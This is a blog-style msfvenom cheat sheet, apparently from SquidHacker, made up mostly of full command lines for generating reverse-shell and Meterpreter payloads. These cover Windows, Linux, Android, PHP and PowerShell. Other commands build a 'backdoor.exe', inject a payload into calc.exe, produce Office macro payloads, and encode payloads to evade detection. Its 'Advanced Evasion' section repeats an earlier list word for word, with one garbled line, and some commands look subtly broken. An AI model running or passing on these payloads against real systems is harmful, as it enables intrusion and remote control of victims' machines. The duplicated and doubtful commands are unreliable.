Master msfvenom in 2025: Top 100 Commands Every Hacker Needs – With Bonus Payload Generation Cheat Sheet

Master msfvenom in 2025: Top 100 Commands Every Hacker Needs – With Bonus Payload Generation Cheat Sheet

msfvenom is the ultimate payload generator dominating penetration testing in 2025. As a core component of Metasploit, it offers unmatched flexibility for creating custom payloads to exploit vulnerabilities. This article delivers 100 essential msfvenom commands, paired with a bonus cheat sheet to supercharge your hacking skills.

Why msfvenom Rules in 2025

msfvenom, part of the Metasploit Framework by Rapid7, excels at generating payloads for any platform, with advanced encoding and evasion techniques. In 2025, its ability to craft stealthy, targeted payloads makes it a non-negotiable tool for ethical hackers and red teamers.

Table of Contents

Basic Payload Generation

CommandDescription
msfvenom -p windows/shell/reverse_tcpGenerate Windows reverse TCP shell payload
msfvenom -l payloadsList all available payloads
msfvenom -f exeOutput payload as executable file
msfvenom -a x86Set architecture to x86
msfvenom -a x64Set architecture to x64
msfvenom -o output.exeSave payload to file (e.g., output.exe)
msfvenom –platform windowsSet platform to Windows
msfvenom –platform linuxSet platform to Linux
msfvenom -p linux/x86/shell/reverse_tcpGenerate Linux reverse TCP shell payload
msfvenom LHOST=192.168.1.1Set local host IP for reverse connection
msfvenom LPORT=4444Set local port for reverse connection
msfvenom -hDisplay help for msfvenom options
msfvenom –list platformsList supported platforms
msfvenom –list formatsList supported output formats
msfvenom –list archsList supported architectures
msfvenom -p windows/meterpreter/reverse_tcpGenerate Windows Meterpreter payload
msfvenom -f rawOutput payload in raw format
msfvenom -kKeep template executable alive (for -x option)
msfvenom –smallestGenerate the smallest possible payload
msfvenom –help-formatsShow detailed help for output formats

Encoding and Evasion

CommandDescription
msfvenom -e x86/shikata_ga_naiEncode with Shikata Ga Nai encoder
msfvenom -i 3Encode payload 3 times
msfvenom -b “\x00”Avoid null bytes in payload
msfvenom -b “\x00\x0a”Avoid multiple bad characters (e.g., null and newline)
msfvenom -e x86/fnstenv_movEncode with fnstenv_mov encoder
msfvenom -e x86/jmp_call_additiveEncode with jmp_call_additive encoder
msfvenom -e x86/call4_dword_xorEncode with call4_dword_xor encoder
msfvenom -e x86/countdownEncode with countdown encoder
msfvenom –list encodersList all available encoders
msfvenom –encoder-space 100Set maximum space for encoder (e.g., 100 bytes)
msfvenom –bad-chars “\x00\x0d”Specify bad characters to avoid
msfvenom –iterations 5Set number of encoding iterations to 5
msfvenom -e generic/noneUse no encoding (raw payload)
msfvenom –encoder x86/shikata_ga_naiSpecify encoder by full name
msfvenom –nopsled 32Add 32 NOPs before payload for stability
msfvenom –space 200Limit payload size to 200 bytes
msfvenom –noinjectPrevent automatic injection into template
msfvenom –template template.exeUse a custom template for payload injection
msfvenom –keepPreserve template functionality after injection
msfvenom –list-optionsShow advanced options for selected payload

Output Formats

CommandDescription
msfvenom -f cOutput payload in C format
msfvenom -f pythonOutput payload in Python format
msfvenom -f rubyOutput payload in Ruby format
msfvenom -f perlOutput payload in Perl format
msfvenom -f javaOutput payload in Java format
msfvenom -f dllOutput payload as DLL file
msfvenom -f elfOutput payload as ELF file (Linux)
msfvenom -f machoOutput payload as Mach-O file (macOS)
msfvenom -f jarOutput payload as JAR file
msfvenom -f warOutput payload as WAR file for Java web apps
msfvenom -f aspOutput payload as ASP file
msfvenom -f aspxOutput payload as ASPX file
msfvenom -f pshOutput payload in PowerShell format
msfvenom -f vbaOutput payload in VBA format for Office macros
msfvenom -f vbsOutput payload in VBScript format

Platform-Specific Payloads

CommandDescription
msfvenom -p windows/x64/meterpreter/reverse_tcpWindows x64 Meterpreter payload
msfvenom -p linux/x64/shell/reverse_tcpLinux x64 reverse shell payload
msfvenom -p osx/x64/shell_reverse_tcpmacOS x64 reverse shell payload
msfvenom -p android/meterpreter/reverse_tcpAndroid Meterpreter payload
msfvenom -p java/meterpreter/reverse_tcpJava Meterpreter payload
msfvenom -p php/meterpreter/reverse_tcpPHP Meterpreter payload
msfvenom -p python/meterpreter/reverse_tcpPython Meterpreter payload
msfvenom -p nodejs/shell_reverse_tcpNode.js reverse shell payload
msfvenom -p cmd/windows/reverse_powershellWindows PowerShell reverse shell
msfvenom -p bsd/x86/shell/reverse_tcpBSD x86 reverse shell payload
msfvenom -p solaris/x86/shell_reverse_tcpSolaris x86 reverse shell payload
msfvenom -p aix/ppc/shell_reverse_tcpAIX PPC reverse shell payload
msfvenom -p hpux/ppc/shell_reverse_tcpHP-UX PPC reverse shell payload
msfvenom -p windows/x86/shell/bind_tcpWindows x86 bind shell payload
msfvenom -p linux/armle/shell_reverse_tcpLinux ARM reverse shell payload
msfvenom -p osx/arm64/shell_reverse_tcpmacOS ARM64 reverse shell payload
msfvenom -p android/shell/reverse_httpAndroid reverse HTTP shell payload
msfvenom -p java/shell/reverse_tcpJava reverse shell payload
msfvenom -p php/shell_findsockPHP findsock shell payload
msfvenom -p python/shell_reverse_tcpPython reverse shell payload

Real-World Power Moves

  • Windows Backdoor: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o backdoor.exe – Create a Windows Meterpreter backdoor.
  • Linux Reverse Shell: msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o shell.elf – Generate a Linux reverse shell.
  • Android Payload: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o app.apk – Build an Android Meterpreter payload.
  • PHP Web Shell: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o shell.php – Create a PHP web shell.
  • Java Payload: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f jar -o app.jar – Generate a Java Meterpreter payload.
  • PowerShell Payload: msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.1.1 LPORT=4444 -f psh -o script.ps1 – Create a PowerShell reverse shell.
  • Encoded Payload: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe – Encode a Windows payload for evasion.
  • Avoid Null Bytes: msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -b "\x00" -f elf -o safe.elf – Generate a Linux payload without null bytes.
  • C Output: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f c -o shellcode.c – Output a payload in C format.
  • Python Output: msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f py -o shell.py – Output a Python Meterpreter payload.
  • VBA Macro: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f vba -o macro.vba – Create a VBA payload for Office macros.
  • Encrypted Payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 --encrypt aes256 -f exe -o secure.exe – Encrypt a payload with AES-256.
  • Template Injection: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 --template calc.exe -f exe -o calc_backdoor.exe – Inject payload into calc.exe.
  • Base64 Output: msfvenom -p python/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f py | base64 – Encode a Python payload in Base64.
  • PowerShell Execution: msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.1.1 LPORT=4444 -f psh | powershell -EncodedCommand – Run a PowerShell payload directly.

Advanced Evasion Techniques

  • Windows Backdoor: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe -o backdoor.exe – Create a Windows Meterpreter backdoor.
  • Linux Reverse Shell: msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o shell.elf – Generate a Linux reverse shell.
  • Android Payload: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f apk -o app.apk – Build an Android Meterpreter payload.
  • PHP Web Shell: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o shell.php – Create a PHP web shell.
  • Java Payload: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f jar -o app.jar – Generate a Java Meterpreter payload.
  • PowerShell Payload: msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.1.1 LPORT=4444 -f psh -o script.ps1 – Create a PowerShell reverse shell.
  • Encoded Payload: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe – Encode a Windows payload for evasion.
  • Avoid Null Bytes: msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -b "\x00" -f elf -o safe.elf – Generate a Linux payload without null bytes.
  • C Output: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f c -o shellcode.c – Output a payload in C format.
  • `Python Output: msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f py -o shell.py – Output a Python Meterpreter payload.Python Output: msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f py -o shell.py – Output a Python Meterpreter payload.
  • VBA Macro: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f vba -o macro.vba – Create a VBA payload for Office macros.
  • Encrypted Payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 --encrypt aes256 -f exe -o secure.exe – Encrypt a payload with AES-256.
  • Template Injection: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 --template calc.exe -f exe -o calc_backdoor.exe – Inject payload into calc.exe.
  • Base64 Output: msfvenom -p python/shell/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f py | base64 – Encode a Python payload in Base64.
  • PowerShell Execution: msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.1.1 LPORT=4444 -f psh | powershell -EncodedCommand – Run a PowerShell payload directly.

Bonus Payload Generation Cheat Sheet

Boost your msfvenom skills with these tools:

  • Metasploit: Full exploitation framework.
  • Burp Suite: Web app testing.
  • Wireshark: Packet analysis. Find more at SquidHacker.com.

Pro Tips for msfvenom Masters

  • Test Safely: Use legal labs like Hack The Box.
  • Combine Tools: Pair with Metasploit for full attack chains.
  • Stay Ethical: Skills for authorized use only.
  • Optimize Evasion: Use –iterations and –bad-chars to bypass detection.
  • Check Payloads: Verify compatibility with target systems.

Conclusion

msfvenom’s 100 commands give you the edge in payload generation for 2025. From basic shells to advanced evasion, this guide equips you to dominate penetration testing. Use it ethically, keep learning, and follow SquidHacker.com for more hardcore cybersecurity intel. Share this cheat sheet and own the hacking game!